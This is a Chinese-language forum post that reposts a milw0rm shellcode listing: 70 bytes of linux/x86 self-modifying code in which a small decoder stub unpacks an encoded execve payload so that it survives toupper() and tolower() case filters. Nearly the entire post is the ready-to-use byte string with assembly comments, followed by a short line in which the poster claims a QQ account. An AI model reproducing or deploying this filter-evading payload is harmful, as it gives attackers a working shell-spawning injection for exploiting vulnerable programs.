发新话题
打印

linux/x86 Radically Self Modifying Code 70 bytes

linux/x86 Radically Self Modifying Code 70 bytes

文章作者:XORt
复制内容到剪贴板
代码:
/*-------------------------------------------------------*/
/*    Radically Self Modifying Code for surviving     */
/*        toupper() and tolower()              */
/*                                     */
/*      70byte execve & _exit() code by XORt       */
/*-------------------------------------------------------*/
"\xeb\x12"            /* jmp $0x12            */
"\x5e"              /* pop %esi             */
/*-set-up-loop-counter-and-ajust-shellcode-pointer-------*/
"\x31\xc9"            /* xor %ecx, %ecx         */
"\xb1\x0b"            /* mov $0xb, %cl          */
"\xff\xc6"            /* inc %esi             */
/*-the-loop----------------------------------------------*/
"\x81\x06\x5b\x2d\xd0\xcb" /* addl $0xcbd02d5b, (%esi)  */
"\xad"              /* lodsl               */
"\xe2\xf7"            /* loop -$0x9            */
/*--jump-into-shellcode----------------------------------*/
"\xeb\x05"            /* jmp $0x5             */
"\xe8\xe9\xff\xff\xff"    /* call -$0x17           */
/*--------------------------------------------[bytes:25]-*/
//                                     //
/*--the-shellcode----------------------------------------*/
"\xeb"              /* --then encoded shellcode-- */
"\xc4\x30\xb9\xaa"      /*                   */
"\xad\x03\xf0\xbc"      /*                   */
"\xeb\xd9\xb8\x7a"      /*                   */
"\xb1\x82\x3b\xbd"      /*                   */
"\x98\x60\x7e\x3c"      /*                   */
"\x32\x29\x3c\x01"      /*                   */
"\x25\x04\x0b\xbe"      /*                   */
"\x7d\x13\xfd\xb4"      /*                   */
"\x8d\xaf\x2f\x34"      /*                   */
"\xa4\x02\x92\x9d"      /*                   */
"\x13\x02\xa3\x9c";      /*                   */
/*--------------------------------------------[bytes:45]-*/

//milw0rm.com
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题